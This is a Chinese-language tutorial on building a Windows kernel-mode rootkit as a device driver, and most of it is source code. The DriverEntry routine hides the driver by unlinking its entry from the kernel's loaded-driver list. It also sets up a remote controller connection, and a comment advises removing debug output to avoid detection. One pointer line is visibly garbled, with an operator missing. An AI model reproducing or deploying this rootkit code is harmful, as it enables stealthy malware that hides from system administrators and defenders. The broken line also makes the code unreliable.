Rootkit隱形技術方法
一、綜述
本文將引領讀者打造一個初級的核心級Rootkit,然後為其引入兩種簡單的隱形技術:程序隱形技術和檔案隱形技術。同時,為了讓讀者獲得rootkit程式設計的相關經驗,我們順便介紹了rootkit的裝載、解除安裝方法,以及必不可少的測試技術。
本文介紹的Rootkit的主要構件是一個裝置驅動程式,所以我們首先了解一下我們的第一個rootkit。
二、rootkit主體
本節引入一個簡單的rootkit例項,它實際上只給出了rootkit的主體框架,換句話說,就是一個裝置驅動程式。那麼為什麼要用裝置驅動程式作為主體呢?很明顯,因為在系統中,裝置驅動程式和作業系統一樣,都是程式中的特權階級——它們運行於Ring0,有權訪問系統中的所有程式碼和資料。還有一點需要說明的是,因為本例主要目的在於介紹rootkit是如何隱形的,所以並沒有實現後門之類的具體功能,。
我們將以原始碼的形式說明rootkit,對著重介紹一些重要的資料結構和函式。下面,先給出我們用到的.第一個檔案,它是一個頭檔案,名為Invisible.h,具體如下所示:
//Invisible.h:我們rootkit的標頭檔案
#ifndef _INVISIBLE_H_
#define _INVISIBLE_H_
typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD* PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef struct _DRIVER_DATA
{
LIST_ENTRY listEntry;
DWORD unknown1;
DWORD unknown2;
DWORD unknown3;
DWORD unknown4;
DWORD unknown5;
DWORD unknown6;
DWORD unknown7;
UNICODE_STRING path;
UNICODE_STRING name;
} DRIVER_DATA;
#endif
我們知道,應用軟體只要簡單引用幾個檔案如stdio.h和windows.h,就能囊括大量的定義。但這種做法到了驅動程式這裡就行不通了,原因大致有二條,一是驅動程式體積一般較為緊湊,二是驅動程式用途較為專一,用到的資料型別較少。因此,我們這裡給出了一個頭檔案Invisible.h,其中定義了一些供我們的rootkit之用的資料型別。
這裡定義的型別中,有一個數據型別要提一下:雙字型別,它實際上是一個無符號長整型。此外,DRIVER_DATA是Windows 作業系統未公開的一個數據結構,其中含有分別指向裝置驅動程式目錄中上一個和下一個裝置驅動程式的指標。而我們這裡開發的rootkit恰好就是作為裝置驅動程式來實現,所以,只要從裝置驅動程式目錄中將我們的rootkit(即驅動程式)所對應的目錄項去掉,系統管理程式就看不到它了,從而實現了隱形。
上面介紹了rootkit的標頭檔案,現在開始介紹rootkit的主體部分,它實際就是一個基本的裝置驅動程式,具體程式碼如下面的Invisible.c所示:
// Invisible
#include "ntddk.h"
#include "Invisible.h"
#include "fileManager.h"
#include "configManager.h"
// 全域性變數
ULONG majorVersion;
ULONG minorVersion;
//當進行free build時,將其註釋掉,以防被檢測到
VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
{
DbgPrint("comint16: OnUnload called.");
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING
theRegistryPath )
{
DRIVER_DATA* driverData;
//取得作業系統的版本
PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );
// Major = 4: Windows NT 4.0, Windows Me, Windows 98 或 Windows 95
// Major = 5: Windows Server 2003, Windows XP 或 Windows 2000
// Minor = 0: Windows 2000, Windows NT 4.0 或 Windows 95
// Minor = 1: Windows XP
// Minor = 2: Windows Server 2003
if ( majorVersion == 5 && minorVersion == 2 )
{
DbgPrint("comint16: Running on Windows 2003");
}
else if ( majorVersion == 5 && minorVersion == 1 )
{
DbgPrint("comint16: Running on Windows XP");
}
else if ( majorVersion == 5 && minorVersion == 0 )
{
DbgPrint("comint16: Running on Windows 2000");
}
else if ( majorVersion == 4 && minorVersion == 0 )
{
DbgPrint("comint16: Running on Windows NT 4.0");
}
else
{
DbgPrint("comint16: Running on unknown system");
}
// 隱藏該驅動程式
driverData = *((DRIVER_DATA**)((DWORD)pDriverObject 20));
if( driverData != NULL )
{
// 將本驅動程式的相應目錄項從項驅動程式目錄中拆下來
*((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;
driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;
}
// 允許解除安裝本驅動程式
pDriverObject->DriverUnload = OnUnload;
// 為本Rootkit的控制器配置連線
if( !NT_SUCCESS( Configure() ) )
{
DbgPrint("comint16: Could not configure remote connection.n");
return STATUS_UNSUCCESSFUL;
}
return STATUS_SUCCESS;
}
【Rootkit隱形技術方法】相關文章: